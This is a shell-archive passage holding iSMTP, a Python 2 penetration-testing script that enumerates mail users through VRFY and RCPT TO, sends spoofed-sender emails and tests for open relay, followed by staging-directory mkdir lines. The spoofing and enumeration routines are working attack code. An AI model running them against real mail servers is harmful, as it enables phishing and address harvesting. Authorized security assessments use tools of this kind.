X#!/usr/local/bin/python2.7 X# X################################################################################################################# X# # X# This script was designed to be seemingly easy if you're used to ispoof by Stone. # X# This script supports a variety of things that we typically test for during an external pentest. # X# Overall, you can automate the process of SMTP User Enumeration, SMTP Spoofing, and/or SMTP relay. # X# Any combination of the techniques can be used -- in other words, it's as flexible as you need it to be. # X# # X# Author: Alton Johnson # X# Contact: alton.jx@gmail.com # X# Updated: 05-24-2013 # X# Version: 1.6 # X# # X# While this tool supports a variety of options, there is still a lot of room for improvement. # X# Please report any bugs and/or suggestions to me. # X# # X################################################################################################################# X Xfrom sys import argv Ximport time, smtplib, getopt, socket, os X Xclass colors: X lightblue = "\033[1;36m" X blue = "\033[1;34m" X normal = "\033[0;00m" X red = "\033[1;31m" X white = "\033[1;37m" X green = "\033[1;32m" X Xstart_time = time.time() Xbanner = "\n " + "-" * 69 + "\n " + colors.white + " iSMTP v1.6 - SMTP Server Tester, Alton Johnson (alton.jx@gmail.com)\n " + colors.normal + "-" * 69 + "\n " Xsplit_service = "\n " + colors.white + "-" * 10 + " starting next test " + "-" * 10 + colors.normal + "\n" Xsplit_target = "\n " + colors.white + "=" * 23 + " starting next target " + "=" * 23 + colors.normal + "\n" X Xdef help(): X print banner X print " Usage: ./iSMTP.py \n" X print colors.red + " Required:\n" + colors.normal X print "\t-f \tImports a list of SMTP servers for testing.\n\t\t\t\t(Cannot use with '-h'.)" X print "\t-h \t\tThe target IP and port (IP:port).\n\t\t\t\t(Cannot use with '-f'.)" X print colors.green + "\n Spoofing:\n" + colors.normal X print "\t-i \tThe consultant's email address." X print "\t-s \t\tThe sender's email address." X print "\t-r \t\tThe recipient's email address." X print "\t --sr \t\tSpecifies both the sender's and recipient's email address." X print "\t-S \t\tThe sender's first and last name." X print "\t-R \t\tThe recipient's first and last name." X print "\t --SR \t\tSpecifies both the sender's and recipient's first and last name." X print "\t-m\t\t\tEnables SMTP spoof testing." X print "\t-a\t\t\tIncludes .txt attachment with spoofed email." X print colors.green + "\n SMTP enumeration:\n" + colors.normal X print "\t-e \tEnable SMTP user enumeration testing and imports email list." X print "\t-l <1|2|3>\tSpecifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).\n\t\t\t(Default is 3.)" X print colors.green + "\n SMTP relay:\n" + colors.normal X print "\t-i \tThe consultant's email address." X print "\t-x\t\t\tEnables SMTP external relay testing." X print colors.green + "\n Misc:\n" + colors.normal X print "\t-t \tThe timeout value. (Default is 10.)" X print "\t-o\t\tCreates \"ismtp-results\" directory and writes output to\n\t\t\tismtp-results/smtp__(port).txt\n" X print " Note: Any combination of options is supported (e.g., enumeration, relay, both, all, etc.).\n" X Xdef output_write(smtp_host,smtp_port,data,output,smtp_test): X if output: X if not os.path.exists('ismtp-results'): X os.makedirs('ismtp-results') X output_file = open('ismtp-results/%s_%s(%s).txt' % (smtp_test,smtp_host,smtp_port), 'w') X output_file.write(data) X output_file.write("%s" % ("-" * 5)) X output_file.write("\nCompleted in: %.1fs\n" % (time.time() - start_time)) X output_file.close() X print " Output file created." X Xdef smtp_relay(smtp_host,smtp_port,consultant_email): X print " Testing SMTP server [external relay]: %s:%s\n" % (smtp_host, smtp_port) X smtp_rlog = "\n Testing SMTP server [external relay]: %s:%s\n" % (smtp_host, smtp_port) X X #grabs the domain name from consultant email X consultant_domain = consultant_email[consultant_email.rfind("@")+1:] X X try: X server = smtplib.SMTP(smtp_host, smtp_port) X # server.docmd returns ['status code','message'] X response = server.docmd("helo",consultant_domain) X print " - Submitted 'helo %s' : %s" % (consultant_domain,str(response[0])) X smtp_rlog += "\n - Submitted 'helo example.com' : %s" % str(response[0]) X response = server.docmd("mail from:","<%s>" % consultant_email) X print " - Submitted 'mail from: <%s>' : %s" % (consultant_email, str(response[0])) X smtp_rlog += "\n - Submitted 'mail from: <%s>' : %s" % (consultant_email, str(response[0])) X response = server.docmd("rcpt to:","<%s>" % consultant_email) X print " - Submitted 'rcpt to: <%s>' : %s" % (consultant_email, response[0]) X smtp_rlog += "\n - Submitted 'rcpt to: <%s>' : %s" % (consultant_email, response[0]) X if response[0] != 250: X print colors.red + "\n External SMTP relay access denied." + colors.normal X smtp_rlog += colors.red + "\n\n External SMTP relay access denied." + colors.normal X else: X print colors.blue + "\n External SMTP relay enabled." + colors.normal X smtp_rlog += colors.blue + "\n\n External SMTP relay enabled." + colors.normal X server.quit() X except smtplib.SMTPException, err: X if "421" in str(err): X print colors.red + " Error: Service rejected connection attempt." + colors.normal X smtp_rlog = colors.red + "\n Error: Service rejected connection attempt." + colors.normal X else: X print colors.red + str(err) + colors.normal X smtp_rlog += "\n" + colors.red + str(err) + colors.normal X except socket.timeout: X print colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X smtp_rlog += colors.red + "\n Error: The system while timed out trying to connect to the SMTP server." + colors.normal X except Exception, err: X print colors.red + str(err) + colors.normal X smtp_rlog += "\n" + colors.red + str(err) + colors.normal X X print "\n Completed external SMTP relay test." X smtp_rlog += "\n\n Completed external SMTP relay test.\n\n" X X #return log in case output is enabled X return smtp_rlog X Xdef smtp_spoof(smtp_host,smtp_port,consultant_email,sndr_email,rcpt_email,sndr_name,rcpt_name,spoof_attach): X print " Testing SMTP server [internal spoof]: %s:%s\n" % (smtp_host, smtp_port) X smtp_slog = "\n Testing SMTP server [internal spoof]: %s:%s\n" % (smtp_host, smtp_port) X X # grab domain from target mail server's banner X try: X s = socket.socket() X s.connect((smtp_host,smtp_port)) X response = s.recv(1024) X domain = response.split(' ')[1].split('.')[-2] + "." + response.split(' ')[1].split('.')[-1] X s.close() X except socket.timeout: X print colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X smtp_slog += "\n" + colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X except Exception, err: X if "range" in str(err): X domain = 'example.com' X else: X print colors.red + " Please check the SMTP server for typos: %s" % smtp_host + colors.normal X smtp_slog += colors.red + "\n Error: Please check the SMTP server for typos: %s" % smtp_host + colors.normal X print colors.red + " If your SMTP servers do not contain a typo, please report this error to Alton." + colors.normal X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X X try: X smtp_subj = "SMTP Server Test" X smtp_msg = "\r\n%s:\r\n\r\nThis message is part of a security assessment. If this message is received, \nplease take a screenshot and forward it \nto %s.\r\n\r\nThis message was delivered through %s:%s." % (rcpt_name, consultant_email, smtp_host, str(smtp_port)) X if spoof_attach: X smtp_data = "From: %s <%s>\r\nTo: %s <%s>\r\nSubject: %s\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\"000Message000\"\r\n\r\n--000Message000\r\n%s\r\n\r\n--000Message000\r\nContent-Type: application/octet-stream; name=\"Attachment.txt\"\r\n\r\nSecurity Assessment (with attachment).\r\n\r\n--000Message000--\r\n." % (sndr_name, sndr_email, rcpt_name, rcpt_email, smtp_subj,smtp_msg) X else: X smtp_data = "From: %s <%s>\r\nTo: %s <%s>\r\nSubject: %s\r\n%s\r\n." % (sndr_name, sndr_email, rcpt_name, rcpt_email, smtp_subj,smtp_msg) X server = smtplib.SMTP(smtp_host, smtp_port) X # server.docmd returns ['status code','message'] X response = server.docmd("helo",domain) X print " - Submitted 'helo %s' : %s" % (domain,str(response[0])) X smtp_slog += "\n - Submitted 'helo %s' : %s" % (domain, str(response[0])) X response = server.docmd("mail from:", "<%s>" % sndr_email) X print " - Submitted 'mail from' : %s" % str(response[0]) X smtp_slog += "\n - Submitted 'mail from' : %s" % str(response[0]) X response = server.docmd("rcpt to:", "<%s>" % rcpt_email) X print " - Submitted 'rcpt to' : %s" % str(response[0]) X smtp_slog += "\n - Submitted 'rcpt to' : %s" % str(response[0]) X if str(response[0])[0] == '5': X print colors.red + "\n Error providing recipient email address: %s" % response[1] + colors.normal X smtp_slog += colors.red + "\n\n Error providing recipient email address: %s" % response[1] + colors.normal X server.quit() X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X response = server.docmd("data") X print " - Submitted 'data' : %s" % str(response[0]) X smtp_slog += "\n - Submitted 'data' : %s" % str(response[0]) X if spoof_attach: X print " - Adding attachment..." X smtp_slog += "\n - Adding attachment..." X print " - Submitting message...\n" X smtp_slog += "\n - Submitting message...\n" X response = server.docmd("%s" % smtp_data) X if str(response[0]) != '250': X print colors.red + "\n Error submitting message: %s" % response[1] + colors.normal X smtp_slog += colors.red + "\n\n Error submitting message: %s" % response[1] + colors.normal X server.quit() X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X return smtp_slog X if spoof_attach: X modded_data = smtp_data.split('\n') X del modded_data[3:7] X del modded_data[12:] X modded_data.insert(3, "Attachment: Attachment.txt") X for i in modded_data: X print colors.blue + " | " + i + colors.normal X smtp_slog += colors.blue + "\n | " + i + colors.normal X smtp_slog += "\n" X print X else: X print colors.blue + " | " + smtp_data.replace("\n", "\n | ")[:-3] + colors.normal X smtp_slog += colors.blue + "\n | " + smtp_data.replace("\n", "\n | ")[:-3] + colors.normal X print " - Message complete" X smtp_slog += "\n - Message complete" X print " - Successfully submitted message: %s" % str(response[0]) X smtp_slog += "\n - Successfully submitted message: %s" % str(response[0]) X server.quit() X except socket.timeout: X pass X except Exception, err: X if "421" in str(err): X print colors.red + " Error: Service rejected connection attempt." + colors.normal X smtp_slog = colors.red + "\n Error: Service rejected connection attempt." + colors.normal X else: X print colors.red + " Error: " + str(err) + colors.normal X smtp_slog += colors.red + "\n Error: " + str(err) + colors.normal X X print "\n Completed SMTP internal spoof test." X smtp_slog += "\n\n Completed SMTP internal spoof test.\n\n" X X #return log in case output is enabled X return smtp_slog X Xdef smtp_enumeration(smtp_host,smtp_port,email_list,enum_level): X print " Testing SMTP server [user enumeration]: %s:%s" % (smtp_host,smtp_port) X print " Emails provided for testing: %s\n" % str(len(email_list)) X smtp_elog = "\n Testing SMTP server [user enumeration]: %s:%s" % (smtp_host,smtp_port) X smtp_elog += "\n Emails provided for testing: %s\n" % str(len(email_list)) X validc = 0 X X #grab domain from target mail server's banner X try: X s = socket.socket() X s.connect((smtp_host,smtp_port)) X response = s.recv(1024) X domain = response.split(' ')[1].split('.')[-2] + "." + response.split(' ')[1].split('.')[-1] X s.close() X except socket.timeout: X print colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X smtp_elog += "\n" + colors.red + " Error: The system timed out while trying to connect to the SMTP server." + colors.normal X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X except Exception, err: X if "list index" in str(err): X domain = 'example.com' X else: X print colors.red + " Please check the SMTP server for typos: %s" % smtp_host + colors.normal X smtp_elog += colors.red + "\n Error: Please check the SMTP server for typos: %s" % smtp_host + colors.normal X print colors.red + " If your SMTP servers do not contain a typo, please report this error to Alton." + colors.normal X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X try: X server = smtplib.SMTP(smtp_host,smtp_port) X response = server.docmd('helo',domain) X except Exception, err: X if "421" in str(err): X print colors.red + " Error: Service rejected connection attempt." + colors.normal X smtp_elog = colors.red + "\n Error: Service rejected connection attempt." + colors.normal X else: X print colors.red + " Error: " + str(err) + colors.normal X smtp_elog += colors.red + "\n Error: " + str(err) + colors.normal X return smtp_elog X X # set spaces to format output X offset = 0 X for line in email_list: X if len(line) > offset: X offset = len(line) + 3 X X # begin testing via SMTP VRFY X # server.docmd returns ['status code','message'] X if enum_level == 1 or enum_level == 3: X print " Performing SMTP VRFY test...\n" X smtp_elog += "\n Performing SMTP VRFY test...\n" X fail = 0 X for i in email_list: X try: X if "@" in i: X response = server.docmd('VRFY', '%s' % i[:i.find("@")]) X else: X response = server.docmd('VRFY', i) X if response[0] == 502 or response[0] == 252 or (response[0] == 550 and "user unknown" not in response[1].lower()): X if "disabled" in str(response[1]) or "Cannot VRFY user" in str(response[1]): X print colors.red + " Server is not vulnerable to SMTP VRFY user enumeration." + colors.normal X smtp_elog += colors.red + "\n Server is not vulnerable to SMTP VRFY user enumeration." + colors.normal X else: X print colors.red + " Error: %s." % response[1] + colors.normal X smtp_elog += colors.red + "\n Error: %s." % response[1] + "\n" + colors.normal X break X elif response[0] == 250: X print colors.blue + " [+] %s " % i + "-" * (offset-len(i)) + " [ success ]" + colors.normal X smtp_elog += colors.blue + "\n [+] %s " % i + "-" * (offset-len(i)) + " [ success ]" + colors.normal X fail = 0 X else: X if fail == 15: X print colors.red + "\n Error: Too many consistent failures. Probably not vulnerable to SMTP VRFY. Skipping... " + colors.normal X smtp_elog += colors.red + "\n\n Error: Too many consistent failures. Probably not vulnerable to SMTP VRFY. Skipping... \n" + colors.normal X break X print colors.red + " [-] %s " % i + "-" * (offset-len(i)) + " [ invalid ]" + colors.normal X smtp_elog += colors.red + "\n [-] %s " % i + "-" * (offset-len(i)) + " [ invalid ]" + colors.normal X fail+= 1 X# print colors.red + " Error: %s:%s" % (response[0],response[1]) + colors.normal X# smtp_elog += colors.red + "\n Error: %s:%s" % (response[0],response[1]) + colors.normal X except Exception, err: X if "unexpectedly closed" in str(err): X print colors.red + " Error: Attempting to reconnect..." + colors.normal X smtp_elog += colors.red + "\n Error: Attempting to reconnect..." + colors.normal X try: X server = smtplib.SMTP(smtp_host,smtp_port) X response = server.docmd('helo',domain) X continue X except Exception: X print colors.red + " Error: Cannot reconnect. Quitting..." + colors.normal X smtp_elog += colors.red + "\n Error: Cannot reconnect. Quitting...\n" + colors.normal X break X else: X print colors.red + " Error: " + colors.red + str(err) + "\n" + colors.normal X smtp_elog += colors.red + "\n Error: " + colors.red + str(err) + "\n\n" + colors.normal X print X # begin testing via SMTP RCPT TO X # server.docmd returns ['status code','message'] X if enum_level == 2 or enum_level == 3: X print " Performing SMTP RCPT TO test...\n" X smtp_elog += "\n Performing SMTP RCPT TO test...\n" X X try: X response = server.docmd('mail from:', '') X if str(response[0])[0] == '5': X print colors.red + " Error: %s" % response[1] + colors.normal X smtp_elog += colors.red +"\n\n Error: %s" % response[1] + colors.normal X server.quit() X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X email_domain = email_list[1][email_list[1].find("@"):] X response = server.docmd("rcpt to:", "" % email_domain) X if str(response[0])[0] == '2' or response[0] == 554: X print colors.red + " Server is not vulnerable to SMTP RCPT TO user enumeration." + colors.normal X smtp_elog += colors.red + "\n Sever is not vulnerable to SMTP RCPT TO user enumeration." + colors.normal X server.quit() X print "\n Completed SMTP user enumeration test." X smtp_elog += "\n\n Completed SMTP user enumeration test.\n\n" X return smtp_elog X for n in email_list: X if "@" not in n: X print colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " skipped (invalid email format)" + colors.normal X smtp_elog += colors.red + "\n [-] %s " % n + "-" * (offset-len(n)) + " skipped (invalid email format)" + colors.normal X continue X try: X response = server.docmd('rcpt to:', '<%s>' % n) X except socket.timeout: X print colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " timeout" + colors.normal X smtp_elog += colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " timeout" + colors.normal X continue X except Exception: X print colors.red + " Error: Attempting to reconnect..." + colors.normal X smtp_elog += colors.red + "\n Error: Attempting to reconnect..." + colors.normal X try: X server = smtplib.SMTP(smtp_host,smtp_port) X response = server.docmd('helo',domain) X response = server.docmd('mail from:', '') X continue X except Exception: X print colors.red + " Error: Cannot reconnect. Quitting..." + colors.normal X smtp_elog += colors.red + "\n Error: Cannot reconnect. Quitting..." + colors.normal X break X if response[0] == 250: X print colors.blue + " [+] %s " % n + "-" * (offset-len(n)) + " [ valid ]" + colors.normal X smtp_elog += colors.blue + "\n [+] %s " % n + "-" * (offset-len(n)) + " [ valid ]" + colors.normal X else: X print colors.red + " [-] %s " % n + "-" * (offset-len(n)) + " [ invalid ]" + colors.normal X smtp_elog += colors.red + "\n [-] %s " % n + "-" * (offset-len(n)) + " [ invalid ]" + colors.normal X validc = 0 X print X except Exception, err: X if "timed out" in str(err): X print colors.red + " Error: Timed out. Try increasing the default timeout value to 10+ secs.\n" + colors.normal X smtp_elog += colors.red + "\n Error: Timed out. Try increasing the default timeout value to 10+ secs.\n\n" + colors.normal X else: X print colors.red + " Error: \n" + str(err) + colors.normal X smtp_elog += colors.red + "\n Error: \n\n" + str(err) + colors.normal X print " Completed SMTP user enumeration test." X smtp_elog += "\n Completed SMTP user enumeration test.\n\n" X X try: X server.quit() X except Exception, err: X pass X return smtp_elog X Xdef start(argv): X if len(argv) < 1: X help() X exit() X try: X opts, args = getopt.getopt(argv, "h:i:s:r:S:R:moxe:l:f:t:a", ['sr=','SR=']) X except getopt.GetoptError, err: X print colors.red + "\n Error: %s" % err + colors.normal X help() X exit() X X # set default variables (needed in case if statement isn't met) X smtp_host = '' X smtp_port = 25 X consultant_email = '' X sndr_email = '' X rcpt_email = '' X sndr_name = '' X rcpt_name = '' X smtp_enum = False X smtp_list = False X email_list = '' X socket.setdefaulttimeout(10) X relay_test = False X output = False X enum_level = 3 X spoof_test = False X spoof_attach = False X X # for loop stdin to determine what arguments are provided X for opt, arg in opts: X if opt == "-i": X consultant_email = arg X elif opt == "-s": X sndr_email = arg X elif opt == "-r": X rcpt_email = arg X elif opt == "-S": X sndr_name = arg X elif opt == "-R": X rcpt_name = arg X elif opt == "-f": X if smtp_host != "": X print colors.blue + "\n Error: You cannot use '-f' with '-h'!" + colors.normal X help() X exit() X try: X smtpfile = open(arg) X smtp_file = smtpfile.read().split() X except Exception, err: X print colors.red + "\n Error: %s\n" % err + colors.normal X exit() X smtp_list = True X elif opt == "-h": X if ":" in arg: X smtp_host = arg.split(":")[0] X smtp_port = int(arg.split(":")[1]) X else: X smtp_host = arg X if smtp_list: X smtpfile.close() X print colors.red + "\n Error: You cannot use '-h' with '-f'!" + colors.normal X help() X exit() X elif opt == "-t": X socket.setdefaulttimeout(float(arg)) X elif opt == "-e": X smtp_enum = True X try: X email_file = open(arg) X email_list = email_file.read().split() X except Exception, err: X print colors.red + "\n Error: %s\n" % err + colors.normal X exit() X elif opt == "-x": X relay_test = True X elif opt == "-o": X output = True X elif opt == "-l": X enum_level = int(arg) X elif opt == "--SR": X sndr_name = arg X rcpt_name = arg X elif opt == "--sr": X sndr_email = arg X rcpt_email = arg X elif opt == "-m": X spoof_test = True X elif opt == "-a": X spoof_attach = True X X #assign required parameters depending on the test being conducted (for error checking as well) X spoof_options = {'SMTP Port':smtp_port,'consultant email address':consultant_email,'sender email address':sndr_email,'recipient email address':rcpt_email,'sender name':sndr_name,'recipient name':rcpt_name} X enum_options = {'email list':email_list,'SMTP port':smtp_port} X relay_options = {'consultant email address':consultant_email,'SMTP port':smtp_port} X X # checks for errors before processing arguments X if smtp_host == "" and smtp_list == False: X print colors.red + "\n Error: You must provide either an SMTP server or an imported list of SMTP servers." + colors.normal X help() X exit() X if smtp_enum == False and spoof_test == False and relay_test == False: X print colors.red + "\n Error: You didn't enable any options such as spoof (-m), relay (-x), and/or enumeration (-e )." + colors.normal X help() X exit() X if smtp_enum == True: X for b in enum_options: X if enum_options[b] == "": X print colors.red + "\n Error: While providing SMTP enumeration arguments, you forgot to provide the %s." % b + colors.normal X help() X exit() X if relay_test == True: X for y in relay_options: X if relay_options[y] == "": X print colors.red + "\n Error: While providing SMTP relay arguments, you forgot to provide the %s." % y + colors.normal X help() X exit() X if spoof_test == True: X for x in spoof_options: X if spoof_options[x] == "": X print colors.red + "\n Error: While providing SMTP spoofing arguments, you forgot to provide the %s." % x + colors.normal X help() X exit() X X #banner will print (only one time throughout entire execution) if all looks well X print banner X X # performs either SMTP enumeration, SMTP spoofing, SMTP relay, or whatever combination requested X if smtp_list: X for i in smtp_file: X if smtp_file.index(i) > 0: X print split_target X if spoof_test: X output_write(i,smtp_port,smtp_spoof(i,smtp_port,consultant_email,sndr_email,rcpt_email,sndr_name,rcpt_name,spoof_attach),output,'smtp_spoof') X if relay_test: X if spoof_test: X print split_service X output_write(i,smtp_port,smtp_relay(i,smtp_port,consultant_email),output,'smtp_relay') X if smtp_enum: X if spoof_test or relay_test: X print split_service X output_write(i,smtp_port,smtp_enumeration(i,smtp_port,email_list,enum_level),output,'smtp_enum') X smtpfile.close() X if smtp_enum: X email_file.close() X else: X if spoof_test: X output_write(smtp_host,smtp_port,smtp_spoof(smtp_host,smtp_port,consultant_email,sndr_email,rcpt_email,sndr_name,rcpt_name,spoof_attach),output,'smtp_spoof') X if relay_test: X if spoof_test: X print split_service X output_write(smtp_host,smtp_port,smtp_relay(smtp_host,smtp_port,consultant_email),output,'smtp_relay') X if smtp_enum: X if spoof_test or relay_test: X print split_service X output_write(smtp_host,smtp_port,smtp_enumeration(smtp_host,smtp_port,email_list,enum_level),output,'smtp_enum') X email_file.close() X Xif __name__ == "__main__": X try: X start(argv[1:]) X except KeyboardInterrupt: X print "\nExiting. Closed by user (ctrl-c)" X exit() X Xprint "\n" + "-" * 5 Xprint "Completed in: %.1fs\n" % (time.time() - start_time) 3a62f574edd6ecfa333f91e87a394216 echo c - ismtp/work/stage/usr/local/sbin mkdir -p ismtp/work/stage/usr/local/sbin > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc mkdir -p ismtp/work/stage/usr/local/etc > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/man.d mkdir -p ismtp/work/stage/usr/local/etc/man.d > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/pam.d mkdir -p ismtp/work/stage/usr/local/etc/pam.d > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/newsyslog.conf.d mkdir -p ismtp/work/stage/usr/local/etc/newsyslog.conf.d > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/rc.d mkdir -p ismtp/work/stage/usr/local/etc/rc.d > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/devd mkdir -p ismtp/work/stage/usr/local/etc/devd > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/libmap.d mkdir -p ismtp/work/stage/usr/local/etc/libmap.d > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/etc/rc.conf.d mkdir -p ismtp/work/stage/usr/local/etc/rc.conf.d > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/libdata mkdir -p ismtp/work/stage/usr/local/libdata > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/libdata/ldconfig32 mkdir -p ismtp/work/stage/usr/local/libdata/ldconfig32 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/libdata/pkgconfig mkdir -p ismtp/work/stage/usr/local/libdata/pkgconfig > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/libdata/ldconfig mkdir -p ismtp/work/stage/usr/local/libdata/ldconfig > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/libexec mkdir -p ismtp/work/stage/usr/local/libexec > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/www mkdir -p ismtp/work/stage/usr/local/www > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/lib mkdir -p ismtp/work/stage/usr/local/lib > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/lib/debug mkdir -p ismtp/work/stage/usr/local/lib/debug > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/lib/X11 mkdir -p ismtp/work/stage/usr/local/lib/X11 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/lib/X11/app-defaults mkdir -p ismtp/work/stage/usr/local/lib/X11/app-defaults > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/include mkdir -p ismtp/work/stage/usr/local/include > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/include/X11 mkdir -p ismtp/work/stage/usr/local/include/X11 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/tests mkdir -p ismtp/work/stage/usr/local/tests > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/info mkdir -p ismtp/work/stage/usr/local/info > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man mkdir -p ismtp/work/stage/usr/local/man > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja mkdir -p ismtp/work/stage/usr/local/man/ja > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/manl mkdir -p ismtp/work/stage/usr/local/man/ja/manl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat1 mkdir -p ismtp/work/stage/usr/local/man/ja/cat1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man6 mkdir -p ismtp/work/stage/usr/local/man/ja/man6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man1 mkdir -p ismtp/work/stage/usr/local/man/ja/man1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat6 mkdir -p ismtp/work/stage/usr/local/man/ja/cat6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/catl mkdir -p ismtp/work/stage/usr/local/man/ja/catl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man5 mkdir -p ismtp/work/stage/usr/local/man/ja/man5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat2 mkdir -p ismtp/work/stage/usr/local/man/ja/cat2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat8 mkdir -p ismtp/work/stage/usr/local/man/ja/cat8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat5 mkdir -p ismtp/work/stage/usr/local/man/ja/cat5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man8 mkdir -p ismtp/work/stage/usr/local/man/ja/man8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man2 mkdir -p ismtp/work/stage/usr/local/man/ja/man2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat7 mkdir -p ismtp/work/stage/usr/local/man/ja/cat7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man7 mkdir -p ismtp/work/stage/usr/local/man/ja/man7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/catn mkdir -p ismtp/work/stage/usr/local/man/ja/catn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat4 mkdir -p ismtp/work/stage/usr/local/man/ja/cat4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man3 mkdir -p ismtp/work/stage/usr/local/man/ja/man3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man9 mkdir -p ismtp/work/stage/usr/local/man/ja/man9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/man4 mkdir -p ismtp/work/stage/usr/local/man/ja/man4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat9 mkdir -p ismtp/work/stage/usr/local/man/ja/cat9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/cat3 mkdir -p ismtp/work/stage/usr/local/man/ja/cat3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ja/mann mkdir -p ismtp/work/stage/usr/local/man/ja/mann > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat7 mkdir -p ismtp/work/stage/usr/local/man/cat7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man7 mkdir -p ismtp/work/stage/usr/local/man/man7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat5 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man8 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man2 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man5 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat2 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat8 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/catl mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/catl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man1 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat6 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat1 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man6 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/manl mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/manl > 